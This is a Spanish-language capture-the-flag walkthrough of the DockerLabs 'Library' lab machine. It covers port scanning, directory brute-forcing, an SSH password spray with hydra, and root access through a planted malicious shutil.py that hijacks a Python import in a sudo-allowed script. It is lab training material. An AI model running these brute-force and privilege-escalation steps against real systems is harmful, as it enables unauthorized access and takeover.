> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/library.md).

# Library

#### **Despliegue de la Máquina:**

**1. Descarga:**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Library** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

**2. Descompresión:**

Utilizamos la herramienta `7z` para extraer los archivos:

```bash
7z x library.zip
```

<figure><img src="/files/snZIlBDHmbsukn1eazHI" alt=""><figcaption></figcaption></figure>

**3. Ejecución:**

Desplegamos el entorno con el siguiente comando:

```bash
bash auto_deploy.sh library.tar
```

<figure><img src="/files/gixfj5PZYl69CeStH499" alt=""><figcaption></figcaption></figure>

***

#### **Reconocimiento:**

**1. Verificación de Conectividad:**

Realizamos un `ping` para confirmar que la máquina está activa:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="/files/O6sP4GAA9ZqJ2SOOHvxI" alt=""><figcaption></figcaption></figure>

**2. Escaneo de Puertos con `nmap`:**

Ejecutamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Resultados:**

* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.

<figure><img src="/files/c2dn41SblDDPk2CJkcts" alt=""><figcaption></figcaption></figure>

**3. Escaneo Detallado:**

Realizamos un escaneo más exhaustivo de los puertos abiertos:

```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```

**Resultados:**

* **Puerto 22:** OpenSSH 9.6p1.
* **Puerto 80:** Apache 2.4.58.

<figure><img src="/files/y9cQ2gugMA6xhiEiw87I" alt=""><figcaption></figcaption></figure>

**4. Análisis del Servicio Web:**

Accedemos a `http://172.17.0.2/` y comprobamos que se muestra la página por defecto del servicio de Apache.

<figure><img src="/files/R0S756Xd53nYEDi9QLNJ" alt=""><figcaption></figcaption></figure>

**5. Fuerza Bruta de Directorios y Archivos:**

Buscamos directorios y archivos ocultos con `gobuster`:

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html
```

<figure><img src="/files/saTj5NWwrYQEedKONker" alt=""><figcaption></figcaption></figure>

**Resultado relevante:**

* `index.php`: Contiene una posible contraseña (`JIFGHDS87GYDFIGD`) para conectarnos por SSH.

<figure><img src="/files/jdmA4pmL8YRXXkZWtup1" alt=""><figcaption></figcaption></figure>

***

#### **Explotación:**

**1. Fuerza Bruta con `hydra`:**

Ejecutamos un ataque de fuerza bruta para encontrar el usuario asociado a la contraseña que hemos descubierto anteriormente:

```bash
hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -p JIFGHDS87GYDFIGD 172.17.0.2 ssh -t 4
```

**Credenciales encontradas:**

* **Usuario:** `carlos`.
* **Contraseña:** `JIFGHDS87GYDFIGD`.

<figure><img src="/files/GyPJQmqyAHP9AP9Xq0Fn" alt=""><figcaption></figcaption></figure>

**2. Acceso por SSH:**

Accedemos al sistema por SSH con las credenciales obtenidas:

```bash
ssh carlos@172.17.0.2
```

<figure><img src="/files/bFFENz5KLICzxOpABrwd" alt=""><figcaption></figcaption></figure>

***

#### **Escalada de Privilegios:**

**1. Análisis de Permisos Sudo:**

Verificamos los comandos que el usuario `carlos` puede ejecutar con `sudo`.

<figure><img src="/files/5ruaRSfA3DAmHc65lsgd" alt=""><figcaption></figcaption></figure>

**Resultado:**

```bash
(ALL) NOPASSWD: /usr/bin/python3 /opt/script.py
```

El usuario `carlos` puede ejecutar el script `/opt/script.py` como `root` sin proporcionar contraseña.

**2. Library Path Hijacking:**

El script utiliza la librería `shutil`.

<figure><img src="/files/stDGAPTUxvyMNO52WHDf" alt=""><figcaption></figcaption></figure>

Aprovechamos esto para realizar un **Library Path Hijacking**.

**2.1. Creación de una Librería Maliciosa:**

En el directorio `/opt/`, creamos un archivo `shutil.py` con el siguiente contenido:

```python
import os
os.system("bash")
```

<figure><img src="/files/LmAAzyP0K1LXDlrpQSnn" alt=""><figcaption></figcaption></figure>

**2.2. Ejecución del Script como Root:**

Ejecutamos el script con privilegios elevados:

```bash
sudo /usr/bin/python3 /opt/script.py
```

<figure><img src="/files/CqX9pPbJdEJD4PWtshd5" alt=""><figcaption></figcaption></figure>

**Resultado:** Obtenemos una shell como `root`.
